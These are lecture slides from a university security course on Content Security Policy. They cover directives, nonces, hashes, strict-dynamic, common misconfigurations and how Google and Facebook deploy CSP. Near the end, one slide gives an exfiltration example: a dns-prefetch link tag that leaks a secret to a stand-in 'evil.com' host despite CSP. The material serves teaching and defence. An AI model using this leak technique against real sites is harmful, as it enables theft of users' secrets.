Security II - Content Security Policy

Stefano Calzavara

Università Ca' Foscari Venezia

March 5, 2020

Università
Ca'Foscari
Venezia

Content Security Policy (CSP)

CSP was born as a declarative client-side defence mechanism in 2010

- Now supported by all major web browsers
- Useful defence-in-depth (mitigation) approach against XSS
- No protection against markup injection!

CSP has evolved over the years to support more features, but for now we just focus on XSS protection.

CSP Exemplified

A CSP is defined by the web application developer and delivered to the browser via the `Content-Security-Policy` header, along with a web page. The browser then takes care of enforcing the policy on the page.

```
script-src    'self' https://www.jquery.com;
img-src       https://*.facebook.com;
default-src   https://*;
report-uri    https://www.example.com/violations.php
```

By enumerating the capabilities required by the page, one can mitigate the effect of XSS.

Directives and Source Expressions

The most common CSP directives are shown below.

Directive	**Applies to**
`connect-src`	Targets of XHRs
`img-src`	Images and favicons
`object-src`	Plugins (Flash, applets...)
`script-src`	JavaScript files
`style-src`	CSS files
`default-src`	Fallback directive

Each directive is bound to a list of source expressions, a sort of regular expressions for web origins.

Default Restrictions of CSP

Every CSP with a `script-src` or a `default-src` directive also provides two important security restrictions by default.

Script Execution

- No execution of inline script elements
- No execution of inline event handlers, e.g., `onerror`
- No execution of `javascript:` URLs

String-to-Code Transformations

- Invocation of the `eval` function is forbidden
- Functions like `setTimeout` must be invoked with a callable

CSP Roadblocks

To deploy CSP fruitfully, one has to:

1. enumerate all the sources (origins) from which different content types are loaded, so as to build appropriate whitelists
2. remove all inline scripts and event handlers from the protected pages
3. remove all invocations to `eval` and related functions

We now discuss the challenges of each point in more detail.

CSP Roadblocks: Whitelists

The simplest way to build whitelists is to enforce a restrictive CSP as report-only via the `Content-Security-Policy-Report-Only` header:

- policies in report-only mode are not enforced by the browser, but they still trigger violations, which can be collected via `report-uri`
- this way, one can collect a comprehensive set of requests and come up with a correct CSP without breaking functionality
- protip: do not blindly trust violation reports!

CSP Roadblocks: Inline Scripts and Event Handlers

CSP prevents the execution of inline scripts and event handlers. Such code should be moved into separate JS files and fetched as an external resource. This restriction can be disabled by using `'unsafe-inline'`.

```
script-src  https://*.example.com 'unsafe-inline';
default-src https:
```

Alert!

Do not use `'unsafe-inline'` in your policies! Just don't, it completely voids protection against XSS.

CSP Roadblocks: String-to-Code Transformations

Functions like `eval` can be used to turn strings into code, thus leading to injections. They are better avoided, but if you really need them you can disable this restriction by using `'unsafe-eval'`.

Alert!

While `'unsafe-inline'` effectively disables XSS protection, it is still possible to use `'unsafe-eval'` without sacrificing security, but this requires appropriate vetting and sanitization. Be careful!

Writing Secure CSPs

Okay, so how can one use CSP to defend against XSS?

1. Make use of `script-src` (or `default-src`) to control scripts
2. Do not use `'unsafe-inline'`, which enables script injection
3. Do not use `'unsafe-eval'`, unless you know what you are doing
4. Do not whitelist the wildcard `*`
5. Do not whitelist entire schemes like `http:` and `https:`
6. Also, do not whitelist `data:`, which can be used for script injection
7. If you don't specify `default-src`, set `object-src 'none'` to avoid script injection via plugins

Limitations of CSP

Deployment Cost

Researchers studied the cost of retrofitting CSP on existing apps:

- Bugzilla: added 1,745 LoC, deleted 1,120 LoC
- HotCRP: added 1,440 LoC, deleted 210 LoC
- both applications paid a performance cost after refactoring

Insecurity of Whitelists

Since developers typically whitelist entire origins, it is common to include accidental XSS vectors like JSONP endpoints and JS templating libraries providing functionality similar to `eval` [3].

CSP Versions

CSP has evolved over the years to deal with its original limitations and multiple versions of CSP have been proposed so far:

- Level 1 ($\sim$ 2012): the original whitelist-based CSP
- Level 2 ($\sim$ 2014): introduction of nonces and hashes
- Level 3 ($\sim$ 2016): introduction of 'strict-dynamic'

The current stable version is Level 2, with different browsers providing different degrees of support for Level 3 (still under development).

CSP Nonces

CSP can now be used to whitelist scripts (inline or external) bearing a valid nonce, i.e., a random, unpredictable string:

```
script-src  'self' https://example.com 'nonce-54321';
default-src 'self'
```

Individual scripts can be white-listed by using the `nonce` attribute:

```
<script nonce="54321"> alert(1); </script>
```

CSP Nonces

Consider the following policy:

```
script-src  'self' https://example.com 'nonce-54321';
default-src 'self'
```

Allowed or not?

```
<script> alert(1); </script>
```

CSP Nonces

Consider the following policy:

```
script-src  'self' https://example.com 'nonce-54321';
default-src 'self'
```

Allowed or not?

```
<script nonce="12345" src="https://example.com/adv.js"/>
```

CSP Nonces

Consider the following policy:

```
script-src  'self' https://example.com 'nonce-54321';
default-src 'self'
```

Allowed or not?

```
<script nonce="54321" src="https://google.com/adv.js"/>
```

CSP Nonces

Nonces offer two key advantages over CSP Level 1:

1. they provide support for inline scripts, without falling back to the complete absence of security of `'unsafe-inline'`
2. they whitelist individual scripts as opposed to entire origins, which simplifies the security auditing

A single nonce can be used to whitelist multiple scripts, which further simplifies deployment.

Alert!

The developer is in charge of generating random, unpredictable nonces on each incoming request and populating the CSP header correctly!

Problem: Dynamic Scripts

Consider the following policy:

```
script-src  'self' https://example.com 'nonce-54321';
default-src 'self'
```

What happens if a script tag with the right nonce 54321 loads this code?

```
var s = document.createElement('script');
s.src = 'https://not-example.com/dependency.js';
document.head.appendChild(s);
```

Supporting Dynamic Scripts

How to deal with dynamically inserted scripts in presence of nonces?

1. Require nonce-authorized scripts to explicitly pass their nonce to the new scripts they insert in the DOM
2. Make use of the `'strict-dynamic'` keyword, which propagates trust from nonce-authorized scripts to the new scripts they insert

The first solution provides a better control, but the second one is easier to deploy. Beware: `'strict-dynamic'` is not universally supported!

CSP Hashes

Nonces are great to whitelist individual scripts, but do not provide any guarantee about the actual script which is executed.

```
<script src="https://code.jquery.com/jquery-3.4.1.min.js"
        nonce="54321"/>
```

To address this, CSP allows script whitelisting based on hashes:

```
script-src 'sha512-YWIzOWNiNzJjNDRlY...'
```

This integrates with SRI by whitelisting any script tag bearing one of the expected hashes in its `integrity` attribute.

CSP Hashes

Hashes can also be used to whitelist inline scripts. For example, consider the policy:

```
script-src 'sha512-321cba';
```

The following inline script (with no attribute) will be executed, under the assumption that the SHA-512 hash of its body is `321cba`:

```
<script> alert(1); </script>
```

Notice that whitespaces are significant in the hash computation!

How to Configure CSP?

At the end of the day, there are several options for configuring CSP, in increasing order of security:

1. whitelist-based: often insecure. Even assuming CSP best practices are followed, it is basically impossible to vet entire origins
2. nonce-based: more secure, but no guarantee about the executed script content. Be aware of the dangers of `'strict-dynamic'`
3. hash-based: complete control of the executed scripts, including their content, but often too complicated to deploy in practice

CSP Fallback

It is worth noticing that the CSP syntax is backward compatible with legacy browsers. For instance, the policy:

```
script-src 'nonce-r4nd0m' 'strict-dynamic'
           https://* 'unsafe-inline';
```

has different interpretations on browsers supporting different CSP levels:

- Level 1: `script-src https://* 'unsafe-inline';`
- Level 2: `script-src 'nonce-r4nd0m' https://*;`
- Level 3: `script-src 'nonce-r4nd0m' 'strict-dynamic';`

Important note: `'strict-dynamic'` invalidates all whitelists!

Quiz Time!

Consider the following script tag:

```
<script src="https://example.com/lib.js" nonce="44444"/>
```

Write a CSP such that script inclusion is allowed on a browser supporting CSP Level 2, but not on a browser supporting CSP Level 3.

Quiz Time!

Consider the following script tag:

```
<script src="https://example.com/lib.js" nonce="44444"/>
```

Write a CSP such that script inclusion is allowed on a browser supporting CSP Level 2, but not on a browser supporting CSP Level 3.

Solution

```
script-src 'nonce-12345' 'strict-dynamic'
           https://example.com;
```

Advanced Tricks: Policy Composition

When the same page includes multiple CSPs, all of them should be enforced by the browser. Multiple CSPs can be specified in the same `Content-Security-Policy` header using the comma separator.

Can you spot the difference between these two policies?

```
script-src 'nonce-r4nd0m' https:;
```

```
script-src 'nonce-r4nd0m', script-src https:;
```

CSP in the Wild

Recent research from 2018 showed that more than 90% of the policies in the wild are vulnerable against XSS [2].

Vulnerability	**Perc.**
`'unsafe-inline'` in `script-src`	78%
liberal whitelist in `script-src`	11%
no `script-src` & `'unsafe-inline'` in `default-src`	10%
no `script-src` & liberal whitelist in `default-src`	6%
no `script-src` & no `default-src`	3%

The classes overlap, but the distinct vulnerable policies sum up to 92%.
The adoption of nonces and hashes in the wild is tiny: 1.5%.

Case Study: CSP at Google

Though CSP might be hard to deploy correctly for the average site operator, it can significantly improve security in the right hands:

- a nonce-based CSP is currently enforced on 80+ Google domains and 160+ Google services
- among 11 XSS vulnerabilities on very sensitive domains, 9 were on endpoints with strict CSP deployed and 7 of them were stopped
- among 69 XSS vulnerabilities on sensitive domains, 20 were on endpoints with strict CSP deployed and 12 of them were stopped
- overall, CSP stopped $\sim 66\%$ of the XSS vulnerabilities

More information available here.

Case Study: CSP at Facebook

Facebook makes a very different use of CSP than Google. For example, this is a snippet of their current policy:

```
script-src *.facebook.com *.fbcdn.net *.facebook.net
           'unsafe-inline' 'unsafe-eval' data:;
```

Though this policy does not prevent XSS, it gives a form of confinement: Facebook developers cannot load external content from untrusted origins!

Question

Does this suffice to prevent information leaks from Facebook?

CSP and Information Leaks

Perhaps surprisingly, CSP cannot be used to stop information leaks!

- you can control page communication for resource inclusion, but the page can still leak secrets, e.g., via `window.open`
- also, there is a clever attack - working on every CSP - based on link tags and DNS prefetching (see the next slide [1])
- in general, no consensus on whether CSP should be used to stop data exfiltration or not!

CSP and Information Leaks

Consider the following CSP:

```
script-src  'self' 'unsafe-inline';
default-src 'none';
```

Assuming XSS, the attacker can read the secret `abcd1234` and leak it via the following link tag:

```
<link rel="dns-prefetch" href="//abcd1234.evil.com">
```

Now the attacker only needs to log the DNS requests on his DNS server to be able to read back the leaked information.

CSP: Beyond XSS

CSP is increasingly used for other use cases:

- framing control: the `frame-ancestors` directive can be used to restrict framing to trusted origins
- TLS enforcement: CSP also provides facilities to enforce the full adoption of HTTPS on a web page

We will discuss these two use cases in the next lectures.

References


Steven Van Acker, Daniel Hausknecht, and Andrei Sabelfeld.
Data exfiltration in the face of CSP.
In *AsiaCCS*. ACM, 2016.


Stefano Calzavara, Alvise Rabitti, and Michele Bugliesi.
Semantics-based analysis of content security policy deployment.
TWEB, 12(2):10:1–10:36, 2018.


Lukas Weichselbaum, Michele Spagnuolo, Sebastian Lekies, and Artur Janc.
CSP is dead, long live CSP! on the insecurity of whitelists and the future of content security policy.
In *CCS*, pages 1376–1387. ACM, 2016.